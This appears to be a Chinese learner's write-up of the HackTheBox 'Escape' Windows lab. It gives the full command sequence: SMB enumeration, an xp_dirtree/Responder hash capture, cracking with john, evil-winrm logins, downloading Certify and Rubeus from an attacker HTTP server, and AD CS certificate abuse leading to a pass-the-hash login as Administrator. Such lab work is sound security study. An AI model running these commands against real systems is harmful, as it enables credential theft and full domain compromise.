kali攻击机ip:10.10.14.134
Escape是我学习渗透的第一台windows靶机,很多知识点都是现学的,不太充分,如有错漏请海涵
能ping通靶机,开始渗透
粗略扫描一遍全端口
nmap -sS -sV -T5 -p- 10.10.11.202
比较熟悉的有53,135,139,445,1433,5989几个端口
全扫描
nmap -A 10.10.11.202
发现域名sequel.htb和dc.sequel.htb
将域名添加到/etc/hosts文件中
dig sequel.htb
其实我不是很懂这一步干嘛的,dns渗透只学了个皮毛
既然开放了445端口,就可能存在共享文件夹,可以使用smbclient访问此类服务
445端口是一种TCP端口,用于提供windows文件和打印机共享。
smbclient主要是用来存储和读取服务器上的用户端程序,并对这些程序进行解析和记录。
像FTP客户端一样使用smbclient,可以访问远程主机的共享资源。
smbclient -N -L 10.10.11.202
-N no pass
-L Host
发现Public目录
查看Public文件,发现一个sql的pdf文件,下载到本机看看
smbclient -N //10.10.11.202/Public
mget *
回到vmware点击pdf文件查看
发现一个sqlserver的公共账户,用于给人试用的
PublicUser GuestUserCantWrite1
kali内打开navicat,新建sqlserver连接
成功使用公用账户登录
(91条消息) 浅析mssql渗透之XP_dirtree LLMNR/NBT-NS欺骗攻击_呆呆想摆烂的博客-CSDN博客
(91条消息) 渗透测试中的LLMNR/NBT-NS欺骗攻击_大方子的博客-CSDN博客
以下内容摘自上述链接
什么是LLMNR和NetBIOS名称服务器广播?
当DNS名称服务器请求失败时,Microsoft
Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)试图在本地进行名称解析。LLMNR和Netbios NS广播有什么问题吗?
当DNS名称无法解析的时候,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。
事实上,该过程是未被认证的,并会广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。什么是LLMNR / NBT-NS中毒攻击?
通过侦听LLMNR和NetBIOS广播,攻击者可以伪装成受害者(客户端)要访问的目标机器,从而让受害者乖乖交出相应的登陆凭证。在接受连接后,攻击者可以使用Responder.py或Metasploit等工具将请求转发到执行身份验证过程的流氓服务(如SMB
TCP:137)。
在身份验证过程中,受害者会向流氓服务器发送用于身份认证的NTLMv2哈希值,这个哈希值将被保存到磁盘中,之后就可以使用像Hashcat或John
Ripper(TJR)这样的工具在线下破解,或直接用于 pass-the-hash攻击。
Responder
Responder是监听LLMNR和NetBIOS协议的工具之一,能够抓取网络中的所有LLMNR和NetBIOS请求并进行响应,获取最初的账户凭证,可以利用内置SMB,MSSQL,
HTTP,DNS, POP3,FTP 等服务器,收集目标文件的凭证
responder -I tun1 -i 10.10.14.134
使用xp_dirtree存储过程执行LLMNR/NBT-NS欺骗攻击,让mssql去访问我们伪造的服务,当mssql去执行时就会把它自己的凭证发给我们,我们可以利用凭证中的NTLM的hash值破解用户密码
xp_dirtree "\\10.10.14.134\test"
responder接收到mssql用户凭证数据
vim hash
将用户sql_svc的hash放入文件中
利用john破解hash密码
john -w=/usr/share/wordlists/rockyou.txt hash
sql_svc REGGIE1234ronnie
有了用户账号密码,接下来就是找入口登录了
注意到靶机开放了5985端口
WinRM
WinRM(Windows Remote
Management)是Windows本机内置的远程管理协议,使用简单的对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互WinRM基于Web服务管理(WS-Management)标准,使用HTTP协议
使用80/5895端口
Evil-winrm
Evil-winrm此程序可在启用此功能的任何Microsoft
Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。包括使用纯文本密码远程登录、SSL 加密登录、
NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。
使用用户名密码登录
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
成功登录sql_svc用户
查看users目录,发现有三个用户,还有一个public目录
Administrator可能是管理员
Ryan.Cooper应该是另一个普通用户,按正常流程,我们接下来就要想办法登录Ryan.Cooper用户
去到根目录,发现SQLServer
目录下有个日志文件
type命令查看logs文件
type ERRORLOG.BAK
发现了Ryan.Cooper的登录日志,里面有他的密码
Ryan.Cooper NuclearMosquito3
使用Ryan.Cooper账号登录
evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3
Ryan.Cooper目录下有很多文件夹,优先查看比较可疑的
cd desktop
发现第一个flag
不是很了解windows的渗透方法,所以去网上搜索了点资料
往下就是搜索证书漏洞
这里会用到Certify.exe
和Rubeus.exe
,github里面的需要自己编译
kali开启http服务
使用Invoke-WebRequest命令上传Certify.exe
Invoke-WebRequest "http://10.10.14.20:80/Certify.exe" -OutFile "C:\Users\Ryan.Cooper\documents\Certify.exe"
使用Certify.exe扫描证书漏洞
.\Certify.exe find /vulnerable
发现证书模板存在漏洞
这里有漏洞利用方法,但是我没有试
AD CS Domain Escalation - HackTricks
我参考的是这篇文章
(93条消息) CTF-Anubis HackTheBox 渗透测试(二)-CSDN博客
.\Certify.exe request /altname:Administrator /template:UserAuthentication /ca:dc.sequel.htb\sequel-DC-CA
将证书cert.pem的key和certificate分别复制到kali本地
使用openssl转为Microsoft支持的pfx证书,password随便填,记住就行
openssl pkcs12 -in cert.pem -inkey rsa_private.key -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
上传cert.pfx和Rubeus.exe
Invoke-WebRequest "http://10.10.14.20:80/Rubeus.exe" -OutFile "C:\Users\Ryan.Cooper\documents\Rubeus.exe"
Invoke-WebRequest "http://10.10.14.20:80/cert.pfx" -OutFile "C:\Users\Ryan.Cooper\documents\cert.pfx"
使用Rubeus.exe探测NTLM, /getcredentials 选项直接转储 NTLM 哈希
.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\Ryan.Cooper\documents\cert.pfx /getcredentials /password:1234
获得的Administrator的NTLM 哈希
使用hash登录Administrator用户
evil-winrm -i 10.10.11.202 -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE
获得root的flag
o了